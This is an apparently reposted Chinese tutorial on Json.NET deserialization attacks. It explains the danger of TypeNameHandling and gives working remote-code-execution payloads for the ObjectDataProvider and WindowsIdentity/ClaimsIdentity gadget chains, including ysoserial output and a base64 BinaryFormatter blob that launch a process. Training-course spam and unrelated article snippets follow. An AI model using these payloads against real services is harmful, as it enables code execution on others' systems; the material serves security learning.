.net反序列化新手入门--Json.Net

news2024/11/24 4:33:32

**01 **Json.net简介

Json.net即Newtonsoft.Json,是.Net中开源的Json序列化和反序列化工具,官方地址:http://www.newtonsoft.com/json。

它虽然不是官方库,但凭借其优秀的性能获得了广大开发者的喜爱。

官网给出的性能比较:

1653021410_62871ae2b21ddd01ed755.png!small?1653021417225

**02 **Json.net的序列化和反序列化

首先定义一个person类,并添加一个execcmd的方法,它调用了Process.Start来执行cmd。

[Serializable]  
public class Person  
{  
private static int TAG = 20;  
private int _gender;  
  
public string Name { set; get; }  
public int Age { set; get; }  
public void execcmd(string cmd)  
{  
Process.Start(cmd);  
}  
}

初始化并将其序列化输出:

var p = new Person()  
{  
Name = "m01n",  
Age = 26  
};  
Console.WriteLine(JsonConvert.SerializeObject(p));        

输出结果如下:

1653022208_62871e0096fa0892803a0.png!small?1653022215061

但这并不是我们想要的,添加以下代码:

Console.WriteLine(JsonConvert.SerializeObject(p, new JsonSerializerSettings { TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full, TypeNameHandling = TypeNameHandling.All }));

输出:

1653022222_62871e0e3e2a759bf0ada.png!small?1653022228690

增加了type字段,第二个参数是设置序列化的配置,其中TypeNameHandling是我们需要重点关注的,官网给出了以下五种设置,默认设置为None,除了None之外,都会包含type字段。这也是漏洞产生的关键。

1653022239_62871e1f1c49f662732ef.png!small?1653022245607

**03 **ObjectDataProvider攻击向量

在前面的《.NET反序列化利用链萌新入门——XmlSerializer》中有介绍过ObjectDataProvider,总结一下就是在实现
ObjectDataProvider对象时,不管是添加ObjectInstance,MethodName还是MethodParameters都会自动尝试执行目标函数。

Json.net直接序列化ObjectDataProvider实现的System.Diagnostics.Process会报错,但我们可以看一下ObjectDataProvider对象的Json序列化输出格式。

1653022271_62871e3f2fa9686195569.png!small?1653022277694

结果输出格式化之后如下:

{  
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",  
"ObjectInstance": {  
"$type": "ConsoleApp1.Program+Person, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",  
"Name": "m01n",  
"Age": 26  
},  
"MethodName": "execcmd",  
"MethodParameters": {  
"$type": "MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",  
"$values": ["calc"]  
},  
"IsAsynchronous": false,  
"IsInitialLoadEnabled": true,  
"Data": null,  
"Error": null  
}

对比一下 .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc 生成的payload结果:

{  
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',  
'MethodName':'Start',  
'MethodParameters':{  
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',  
'$values':['cmd', '/c calc']  
},  
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}  
}

首先是去除了一些不必要的字段,然后修改了MethodName为Start,同时将ObjectInstance和MethodParameters的 t y p e 分别设置为 P r o c e s s 和 A r r a y L i s t 相对应的程序集限定名,当然经测试, M e t h o d P a r a m e t e r s 的 type分别设置为Process和ArrayList相对应的程序集限定名,当然经测试,MethodParameters的 type分别设置为ProcessArrayList相对应的程序集限定名,当然经测试,MethodParameterstype不用改也可以成功。

关于程序集限定名,可以通过object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName获取。最终成功执行命令。

1653022288_62871e50af6ab6cf83588.png!small?1653022295526

**04 **攻击向量—WindowsIdentity和WindowsClaimsIdentity

WindowsIdentity

WindowsIdentity是一个表示Windows用户的类,可以获取认证用户的信息。

关于WindowsIdentity的详细介绍可以看官网:https://docs.microsoft.com/zh-
cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0

WindowsIdentity继承自System.Security.Claims.ClaimsIdentity,并且实现了 ISerializable
接口。

1653022309_62871e65502958c54a689.png!small?1653022316014

跟进去发现ISerializable接口需要实现GetObjectData方法,GetObjectData方法的第一个参数为SerializationInfo类对象。

1653022319_62871e6f17a2e9d54dc8f.png!small?1653022325530

通过调用SerializationInfo类的AddValue方法可以在序列化对象时存储备用值,AddValue具有多个重载方法来指定序列化的信息。

1653022351_62871e8fc1851a6f509dc.png!small?1653022358540

ClaimsIdentity

ClaimsIdentity(声称标识)位于 System.Security.Claims 命名空间下。

Claim表示一个声明单元,它用来组成ClaimsIdentity。ClaimsIdentity表示一个证件,例如身份证,身份证上面的名字表示一个Claim,身份证号也表示一个Claim,所有这些Claim组成身份证,即ClaimsIdentity。一个人不止有一个能够表示身份的东西,还有驾驶证、户口本等等,这些都是一个一个的CLaimsIdentity。

1653022386_62871eb27ec4fbde5b2fb.png!small?1653022393026

ClaimsIdentity 类初始化方法有两个重载,并且通过前文介绍的 SerializationInfo 来传入数据,最后用 Deserialize
反序列化数据。

1653022402_62871ec2f022712596b80.png!small?1653022409410

跟进Deserialize(),可以看到key设置为System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext,base64解码后会执行后面的binaryFormatter.Deserialize(),此方法已被证明是不安全的。

1653022420_62871ed4eb42ca3a24f82.png!small?1653022427696

微软关于binaryFormatter.Deserialize的说明:

1653022438_62871ee69a1a29d6dab68.png!small?1653022445167

POC

至此我们可以构造出攻击链,如果使用 GetObjectData 类中的 AddValue
方法添加key:System.Security.ClaimsIdentity.bootstrapContext,value :
base64编码后的binaryFormatter.Deserialize的反序列化payload,最后实现
System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻击成功。

构造如下方法:

1653022456_62871ef8340c0bc75b558.png!small?1653022462667

传入binaryFormatter的反序列化payload并使用Json.net将其序列化。

1653022464_62871f00d523d3c9b38f6.png!small?1653022471653

得到如下结果:

{    "$type": "ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",    "System.Security.ClaimsIdentity.actor": "AAEAAAD/AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm*9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm*9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM*9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm*9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm*9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM*9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm*9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="}

将$type的值改为WindowsIdentity的完全限定名,即可得到完整payload。也可以直接使用ysoserial生成payload:

1653022477_62871f0dac443b5f81ff3.png!small?1653022484135

ysoserial使用的是System.Security.ClaimsIdentity.actor,测试证明System.Security.ClaimsIdentity.bootstrapContext同样可以触发命令执行,但这两个在触发命令执行后都会引发异常:

1653022488_62871f184ed74f29fc4a0.png!small?1653022495202

WindowsClaimsIdentity和WindowsIdentity是相同的原理,因为WindowsClaimsIdentity继承自WindowsIdentity。

**05 **总结

使用Json.net的项目,JsonSerializer的TypeNameHandling值只要不为None,即可能存在反序列化漏洞。ObjectDataProvider攻击向量在.net反序列化中会经常用到。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/169761.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

8大预测分析工具比较

什么是预测分析工具? 预测分析工具融合了人工智能和业务报告。这些工具包括用于从整个企业收集数据的复杂管道,添加统计分析和机器学习层以对未来进行预测,并将这些见解提炼成有用的摘要,以便业务用户可以对此采取行动。 预测的…

day17集合

1.Set集合 1.1Set集合概述和特点【应用】 不可以存储重复元素没有索引,不能使用普通for循环遍历 1.2Set集合的使用【应用】 存储字符串并遍历 public class MySet1 {public static void main(String[] args) {//创建集合对象Set<String> set new TreeSet<>()…

超级详细的几道python题(附答案)含解析、建议收藏

名字&#xff1a;阿玥的小东东 学习&#xff1a;python、正在学习c 主页&#xff1a;阿玥的小东东 目录 判断字符串 a “welcome to my world” 是否包含单词 b “world”&#xff0c;包含返回 True&#xff0c;不包含返回 False。 从 0 开始计数&#xff0c;输出指定字符串…

SSH使用入门

目录 .1 基础配置 1.1 vscode使用 1.2 HOST连接 .2 文件传输 .1 基础配置 1.1 vscode使用 拓展里搜索 然后点击remote里的设置 选择配置 然后填写配置 Hostname是你要ssh的服务器的ip地址 user是你要连接的服务器的用户名 Host可以随便写一个 如果有端口号也要对应修改 …

对于KMP的next数组的新发现,好像我们并不用回溯

目录 前言 发现 总结 博客主页&#xff1a;张栩睿的博客主页 欢迎关注&#xff1a;点赞收藏留言 系列专栏&#xff1a;c语言学习 家人们写博客真的很花时间的&#xff0c;你们的点赞和关注对我真的很重要&#xff0c;希望各位路过的朋友们能多多点赞并关注我&#xff0c;我会…

datax数据导入starrocks表报列数量不匹配错误,问题解决思路

背景在做客户数据导入任务的时候&#xff0c;需要将客户oracle的数据通过datax导入到 starrocks的表中&#xff0c;但是datax的配置文件中SQL查找客户数据的列数和要导入的starrocks表的列数都是相同且对应的&#xff0c;但是导入结果就是报了列数不对等的错误&#xff0c;Erro…

把代码贴进去自动找bug,这个debug神器自动修复仅需几秒

在编写程序时&#xff0c;无论是对于初学者还是对于专业开发人员&#xff0c;都会花费大量时间来调试或修复源代码错误&#xff0c;也就是 Debug。 这个过程繁琐复杂&#xff0c;包括 Bug 复现和 Bug 定位等环节。如果有了自动化的 Debug 程序&#xff0c;就可以显著提高编程实…

网络文件服务器:FileVista 8.9.3 Crack

FileVista 用于自托管文件共享的FileVista文件管理器 在几分钟内将您的网站变成一个网络文件服务器。 在您的网站上与您的客户或员工共享文件。 将您的机密文件存储在您自己的服务器上并对其进行完全控制。使您的用户只需使用 Web 浏览器即可从任何地方安全地访问、上传和组织文…

深度学习入门基础CNN系列——感受野和多输入通道、多输出通道以及批量操作基本概念

本篇文章主要讲解卷积神经网络中的感受野和通道的基本概念&#xff0c;适合于准备入门深度学习的小白&#xff0c;也可以在学完深度学习后将其作为温习。 如果对卷积计算没有概念的可以看本博主的上篇文章深度学习入门基础CNN系列——卷积计算 一、感受野&#xff08;receptive…

基于Java+SpringBoot+Vue+uniapp微信小程序零食商城系统设计和实现

博主介绍&#xff1a;✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

【从零开始学习深度学习】47. Pytorch图片样式迁移实战:将一张图片样式迁移至另一张图片,创作自己喜欢风格的图片【含完整源码】

目录1. 图片样式迁移的方法介绍2. 读取内容图像和样式图像3. 图像的预处理和后处理4. 图像的抽取特征5.1 内容损失5.2 样式损失5.3 总变差损失5.4 损失函数6. 创建和初始化合成图像7. 训练模型并输出合成图像总结本文将介绍如何使用卷积神经网络自动将某图像中的样式应用在另一…

分享回顾|新岁序开,2023 和Jina AI共同码梦!

在坚持开放协作精神、具备全球影响力的 Jina AI 开源社区&#xff0c;每天都有来自世界各地的开发者来到这里&#xff0c;因为技术产生联结&#xff0c;因为联结产生共创。一直以来&#xff0c;我们都为拥有这样一个全球化、多元化和高速发展的社区而感到自豪和感激&#xff01…

golang解决跨域问题

文章目录前言一、跨域问题1.是什么2.跨域的特征&#xff08;跨域报错&#xff09;二、解决跨域问题的方法1.golang解决跨域问题2.简单请求3.非简单请求过程分析&#xff08;复杂请求&#xff09;:三、状态码设置为200依旧出错前言 今天中午在部署golang与vue搭建的一个项目时&…

JavaWeb开发(三)3.3——Spring Bean详解(基于XML方式)

一、Bean的概念 由 Spring IoC 容器负责创建、管理所有的Java对象&#xff0c;这些管理的对象称为 Bean&#xff0c;Bean 根据 Spring 配置文件中的信息创建。 二、基于XML方式管理bean对象 eg&#xff1a; <?xml version"1.0" encoding"UTF-8"?&…

JupyterLab,极其强大的 10 个秘密技巧

之前一篇文章&#xff1a;整理了上千个 Python 工具库&#xff0c;涵盖24个大方向 没想到火了。喜欢的可以看一下。 今天我给大家分享一下 Jupyter Lab 的一些内容。 JupyterLab 是 Jupyter 主打的最新数据科学生产工具&#xff0c;某种意义上&#xff0c;它的出现是为了取代…

瑞芯微的接口结构学习总结

MPI 接口使用的主要数据结构&#xff1a; 瑞芯微提供的媒体处理软件平台&#xff08;Media Process Platform&#xff0c;简称 MPP&#xff09;是适用于瑞芯微芯片系列的 通用媒体处理软件平台。该平台对应用软件屏蔽了芯片相关的复杂底层处理&#xff0c;其目的是为了屏蔽不 …

2022 全球网络黑产常用攻击方法 Top 10

近几年&#xff0c;借助互联网产业发展的东风&#xff0c;网络黑产也迎来更加巅峰的状态&#xff0c;不论是从攻击效率&#xff0c;组织规模&#xff0c;亦或是收益变现能力&#xff0c;都在一天天变的成熟完善。根据艾瑞咨询 2020 年发布的《现代网络诈骗分析报告》&#xff0…

哪些数据库开了全文索引

大家好&#xff0c;才是真的好。 今天我们讨论Domino运维管理问题&#xff1a;哪些数据库开启了全文索引&#xff1f; 在前面的某些篇章中&#xff0c;我们介绍过什么是Notes应用的全文索引Full Text Index&#xff0c;以下简称FTI。它是Notes库中的单词的文本索引或列表&…

HTML零基础教程,九大知识点带你玩转前端(下)

博主&#xff1a;冰小九&#xff0c;新人博主一只&#xff0c;欢迎大佬前来指导 冰小九的主页喜欢请给个三连加关注呀&#xff0c;谢谢&#x1f337;&#x1f337;&#x1f337;三连加关注&#xff0c;追文不迷路&#xff0c;你们的支持就是我最大的动力&#xff01;&#xff0…

javaAPI操作-Zookeeper

## 4)ZooKeeper JavaAPI 操作 4.1)Curator介绍 •Curator 是 Apache ZooKeeper 的Java客户端库。 •常见的ZooKeeper Java API &#xff1a; •原生Java API •ZkClient •Curator •Curator 项目的目标是简化 ZooKeeper 客户端的使用。 •Curator 最初是 Netfix 研发的…